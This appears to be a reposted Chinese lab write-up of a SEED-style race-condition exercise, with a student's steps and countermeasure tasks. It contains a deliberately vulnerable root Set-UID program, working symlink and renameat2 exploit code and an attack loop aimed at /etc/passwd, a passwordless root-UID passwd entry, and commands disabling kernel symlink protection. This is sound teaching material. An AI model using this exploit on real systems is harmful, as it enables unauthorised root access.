C/C++教程

Race Condition Vulnerability Lab(转载)

本文主要是介绍Race Condition Vulnerability Lab(转载),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

目录

1.0 概述

2.0 实验室任务

2.1 初始设置

2.2 易受攻击的程序

2.3 task1:选择我们的目标

2.4 task2: A发起竞态攻击

2.5 task2: B改进的攻击方法

2.6 task3:对策:运用最小特权原则

2.7 task4:对策: 使用Ubuntu的内置方案


1.0 概述

本实验的学习目标是让学生通过将他们从课堂上学到的关于漏洞的知识付诸行动,获得关于竞态条件漏洞的第一手经验。当多个进程同时访问和操作相同的数据时,就会出现争用情况,并且执行的结果取决于访问发生的特定顺序。如果一个特权程序有一个竞态条件漏洞,攻击者可以运行一个并行进程来“竞争”特权程序,意图改变程序的行为。

在这个实验中,学生们将会得到一个带有竞态条件漏洞的程序;他们的任务是开发一个利用漏洞并获得root权限的方案。除了攻击之外,学生们还将被引导浏览几种可以用来对抗竞态条件攻击的保护方案。学生需要评估这些方案是否有效,并解释原因。本实验涵盖以下主题:

  • 竞态条件脆弱性
  • 粘性符号链接保护
  • 最小特权原则

2.0 实验室任务

2.1 初始设置

Ubuntu 10.10和更高版本内置了对竞态条件攻击的保护。该方案通过限制谁可以跟随符号链接来工作。根据文档word可写粘性目录中的符号链接(例如。/tmp)不能被跟踪。在本实验中,我们需要禁用这种保护。您可以使用以下命令实现这一点:

// On Ubuntu 12.04, use the following:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
// On Ubuntu 16.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=0

实验步骤:

2.2 易受攻击的程序

下面的程序是一个看似无害的程序。它包含一个竞争条件漏洞。

/* vulp.c */
#include <stdio.h>
#include<unistd.h>
int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK)){ ➀
fp = fopen(fn, "a+"); ➁
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
}

上面的程序是一个根拥有的Set-UID程序;它将一串用户输入附加到一个临时文件/tmp/XYZ的末尾。由于代码以根权限运行,即。它的有效使用标识是零,它可以覆盖任何文件。为了防止自己不小心覆盖别人的文件,程序首先检查真实用户ID是否有文件/tmp/XYZ的访问权限;这就是线路①中的access()调用的目的。如果真正的用户标识确实有权限,程序将在②行打开文件,并将用户输入附加到文件中。

乍一看,这个程序似乎没有任何问题。但是,该程序中存在一个竞争条件漏洞:由于check (access())和use (fopen())之间的时间窗口,access()使用的文件可能与fopen()使用的文件不同,即使它们具有相同的文件名/tmp/XYZ。如果恶意攻击者能够在时间窗口内以某种方式使/tmp/XYZ成为指向受保护文件(如/etc/passwd)的符号链接,则攻击者可以将用户输入附加到/etc/passwd,从而获得根权限。该漏洞以root权限运行,因此它可以覆盖任何文件。

设置UID程序。我们首先编译上面的代码,并把它的二进制转换成根拥有的Set-UID程序。以下命令实现了这一目标:

$ gcc vulp.c -o vulp
$ sudo chown root vulp
$ sudo chmod 4755 vulp

实验步骤:

创建易受攻击程序vulp.c:

编译、发现出错:少了stirng.h头文件

修改:加上头文件

编译并提升权限:

2.3 task1:选择我们的目标

我们想利用易受攻击程序中的竞态条件漏洞。我们选择以密码文件/etc/passwd为目标,普通用户不可写。通过利用该漏洞,我们希望在密码文件中添加一条记录,目的是创建一个具有root权限的新用户帐户。在密码文件中,每个用户都有一个条目,由用冒号(:)分隔的七个字段组成。根用户的条目如下所示。对于根用户,第三个字段(用户标识字段)的值为零。也就是说,当根用户登录时,它的进程的用户标识被设置为零,给予进程根权限。基本上,根帐户的权力并不来自其名称,而是来自用户标识字段。如果我们想创建一个具有root权限的帐户,我们只需要在这个字段中输入一个零。root:x:0:0:root:/root:/bin/bash

每个条目还包含一个密码字段,这是第二个字段。在上例中,该字段设置为“x”,表示密码存储在另一个名为/etc/shadow的文件(影子文件)中。如果我们遵循这个例子,我们必须使用竞态条件漏洞来修改密码和shadow文件,这并不难做到。然而,有一个更简单的解决方案。不用在密码文件里放“x”,我们可以简单的把密码放在那里,这样操作系统就不会从shadow文件里找密码了。

密码字段不包含实际密码;它保存密码的单向哈希值。要为给定的密码获取这样的值,我们可以使用adduser命令在自己的系统中添加一个新用户,然后从shadow文件中获取密码的单向哈希值。或者我们可以简单地从seed用户的条目中复制值,因为我们知道它的密码是dees。有趣的是,Ubuntu live CD中有一个用于无密码账号的神奇的值,神奇的值是U6aMy0wojraho(第6个字符是零,不是字母O)。如果我们把这个值放在用户输入的密码字段中,我们只需要在提示输入密码时按回车键。

任务。为了验证神奇密码是否有效,我们(以超级用户的身份)手动在/etc/passwd文件的末尾添加以下条目。请报告您是否可以在不键入密码的情况下登录测试帐户,并检查您是否拥有root权限。

test:U6aMy0wojraho:0:0:test:/root:/bin/bash

完成此任务后,请从密码文件中删除此条目。在接下来的任务中,我们需要作为一个普通用户来实现这个目标。显然,我们不允许直接对密码文件这样做,但我们可以利用特权程序中的竞态条件来达到同样的目的。

警告。过去,一些学生在攻击过程中意外清空了/etc/passwd文件(这可能是由操作系统内核中的一些竞争条件问题引起的)。如果您丢失了密码文件,您将无法再次登录。为了避免这种麻烦,请复 制原始密码文件或拍摄虚拟机的快照。这样,你就可以很容易地从灾难中恢复过来。

实验步骤:

登录root、找到、/etc/passwd文件

文件最后添加一行:test:U6aMy0wojraho:0:0:test:/root:/bin/bash

登入test用户:不输入密码直接按回车、进入了root用户,拥有root权限

删除passwd文件中的这个条目:已删除

再次测试:无此用户

2.4 task2: A发起竞态攻击

此任务的目标是利用前面列出的易受攻击的Set-UID程序中的竞争条件漏洞。最终目的是获得根特权。

最关键的步骤(即让 /tmp/XYZ指向密码文件),我们的竞态条件攻击必须发生在检查和使用之间的窗口内;即在易受攻击的程序中的access()和fopen()调用之间。既然我们不能修改易受攻击的程序,我们唯一能做的就是并行运行我们的攻击程序,与目标程序“赛跑”,希望赢得比赛条件,即,。更改关键窗口内的链接。不幸的是,我们无法实现完美的时机。所以,攻击成功是概率性的。如果窗口很小,成功攻击的概率可能很低。你需要考虑如何增加概率。比如可以多次运行易受攻击的程序;在所有这些尝试中,你只需要成功一次。

创建符号链接。可以调用C函数symlink()在程序中创建符号链接。因为如果链接已经存在,Linux不允许创建链接,我们需要先删除旧的链接。下面的C代码片段显示了如何删除一个链接,然后使/tmp/XYZ指向/etc/passwd:

unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");

也可以使用Linux命令“ln -sf”创建符号链接。这里的“f”选项意味着如果链接存在,首先删除旧的。“ln”命令的实现实际上使用了unlink()和symlink()。

运行攻击程序。在你实现了攻击程序之后,你应该在后台运行它,然后并行运行易受攻击的程序。如果攻击失败,易受攻击的程序就会崩溃,所以你需要反复运行易受攻击的程序,直到攻击成功。

运行易受攻击的程序并监控结果。由于您需要多次运行易受攻击的程序,因此您需要编写一个程序来自动化攻击过程。为了避免手动向易受攻击的程序vulp键入输入,您可以使用输入重定向。也就是说,您将您的输入保存在一个文件中,并要求vulp使用“vulp < inputFile”从该文件中获取输入。

我们的攻击可能需要一段时间才能成功修改密码文件,所以我们需要一种方法来自动检测攻击是否成功。有很多方法可以做到这一点;一个简单的方法是监控文件的时间戳。下面的shell脚本运行" ls -l "命令,该命令输出关于一个文件的几条信息,包括最后修改的时间。通过将该命令的输出与之前生成的输出进行比较,我们可以知道该文件是否被修改过。

以下shell脚本使用passwd input作为输入,在循环中运行易受攻击的程序(vulp)。如果攻击成功,即passwd被修改,shell脚本将停止。你确实需要有点耐心。通常情况下,你应该可以在5分钟内成功。

#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]   #Check if /etc/passwd is modified
do
./vulp < passwd_input        #Run the vulnerable program
new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"

 如果10分钟后,您的攻击仍然没有成功,您可以停止攻击,并检查/tmp/XYZ文件的所有权。如果此文件的所有者成为根用户,请手动删除此文件,然后再次尝试攻击,直到攻击成功。请在您的实验报告中记录这一观察结果。在任务2中.b、我们会说明原因,并提供改进的攻击方法。

实验步骤:

查看/tmp/XYZ文件所有权:

创建passwd_input文件、写入内容:

创建攻击程序:target_pro.c

#include <unistd.h>
 
int main()
{
    while(1){
        unlink("/tmp/XYZ");
        symlink("/dev/null","/tmp/XYZ");
        usleep(1000);
 
        unlink("/tmp/XYZ");
        symlink("/etc/passwd","/tmp/XYZ");
        usleep(1000);
    }
    return 0;
}

编译:

创建target.sh脚本文件:

开两个终端:一个编译target_pro、一个编译target.sh:  shell文件编译命令为bash target.sh

攻击成功:

注:若出现下图错误:

是因为没有禁用对竞态条件攻击的保护(task1):


 

2.5 task2: B改进的攻击方法

如果你已经做了所有正确的事情,但仍然无法成功地进行攻击,请检查/tmp/XYZ的所有权。你会发现/tmp/XYZ的主人已经成为root(正常情况下应该是seed)。如果发生这种情况,您的攻击将永远不会成功,因为您的攻击程序,以种子特权运行,不能再删除或取消链接()它。这是因为/tmp文件夹有一个“粘性”位,这意味着只有文件的所有者才能删除文件,即使该文件夹是全局可写的。

在任务2中.我们让你用root的权限删除/tmp/XYZ,然后再尝试你的攻击。不良情况是随机发生的,所以通过重复攻击(在根的“帮助”下),你最终将在任务2.A中成功。显然,从root获得帮助并不是真正的攻击。我们想摆脱它,并且不需要root的帮助。

造成这种不良情况的主要原因是我们的攻击程序有一个问题,一个竞争条件问题,也就是我们试图在受害程序中利用的问题。多么讽刺!以前看到那个问题,只是简单的建议学生删除文件,再尝试攻击。感谢我的一个学生,他决心弄清楚问题出在哪里。因为他的努力,我们终于明白了为什么,并有了改进的解决方案。

发生这种情况的主要原因是攻击程序在移除/tmp/XYZ(即。unlink()),但在它将名称链接到另一个文件之前(即,。symlink()。请记住,移除现有符号链接并创建新链接的操作不是原子的(它涉及两个独立的系统调用),因此如果上下文切换发生在中间(即。就在移除/tmp/XYZ之后),并且目标Set-UID程序有机会运行它的fopen(fn,“a+”)语句,它将创建一个以root为所有者的新文件。之后,你的攻击程序就不能再对/tmp/XYZ做改动了。

基本上,使用unlink()和symlink()方法,我们的攻击程序中有一个竞争条件。因此,当我们试图利用目标程序中的竞争条件时,目标程序可能会意外地“利用”我们攻击程序中的竞争条件,从而击败我们的攻击。

为了解决这个问题,我们需要使unlink()和symlink()成为原子的。幸运的是,有一个系统调用允许我们实现这一点。更准确地说,它允许我们自动交换两个符号链接。下面的程序首先创建两个符号链接/tmp/XYZ和/tmp/ABC,然后使用SYSrenameat2系统调用自动切换它们。这允许我们改变/tmp/XYZ指向的东西,而不引入任何竞赛条件。需要注意的是,Ubuntu 16.04上的libc库中并没有针对SYSrenameat2系统调用的函数包装器,所以我们必须使用syscall()来调用系统调用,而不是像正常的函数调用那样调用。

#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
int main()
{
unsigned int flags = RENAME_EXCHANGE;
unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
return 0;
}

请使用这个新策略修改您的攻击程序,并再次尝试您的攻击。如果一切都做对了,你的攻击应该能成功。

 实验步骤:

首先把taskA成功攻击写入到passwd文件的注入删掉:

新建auto.c文件:辅助task2A的问题,

编译:gcc auto.c -o auto

另一个终端进行攻击:

攻击成功:不需要输入密码直接进入root权限

2.6 task3:对策:运用最小特权原则

本实验中易受攻击程序的根本问题是违反了最小特权原则。程序员确实明白运行程序的用户可能太强大了,所以他/她引入了access()来限制用户的权力。然而,这不是正确的方法。更好的方法是应用最小特权原则;也就是说,如果用户不需要特定的权限,则需要禁用该权限。

我们可以使用seteuid系统调用来暂时禁用根权限,并在必要时启用它。请使用这种方法修复程序中的漏洞,然后重复您的攻击。你能成功吗?请报告您的观察结果并提供解释。

实验步骤:

修改vulp.c文件:添加四行代码

重新编译、提升权限:

再次实现攻击:攻击失败

2.7 task4:对策: 使用Ubuntu的内置方案

Ubuntu 10.10和更高版本提供了一个内置的保护方案来抵御竞争条件攻击。在此任务中,您需要使用以下命令重新打开保护:

// On Ubuntu 12.04, use the following command:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
// On Ubuntu 16.04, use the following command:
$ sudo sysctl -w fs.protected_symlinks=1

开启保护后进行攻击。请描述你的观察。也请说明如下:(1)这个保护方案是如何工作的?(2)这个方案有什么局限性?

实验步骤:

开启保护:

把vulp.c 四行代码注释掉、恢复为原来的代码:

重新编译:

再次攻击:攻击失败

(1)这个保护方案是如何工作的?

答:这个攻击的例子中,漏洞程序是以root权限运行的,/tmp目录的所有者也是root,但符合链接所有者是攻击者本身,不是root,所以系统不允许程序使用该符合链接,如果程序视图使用该符合链接,系统会让他崩溃。

(2)这个方案有什么局限性?

答:此保护机制只适用于人人可写的粘滞(sticky)目录,例如/tmp。

这篇关于Race Condition Vulnerability Lab(转载)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!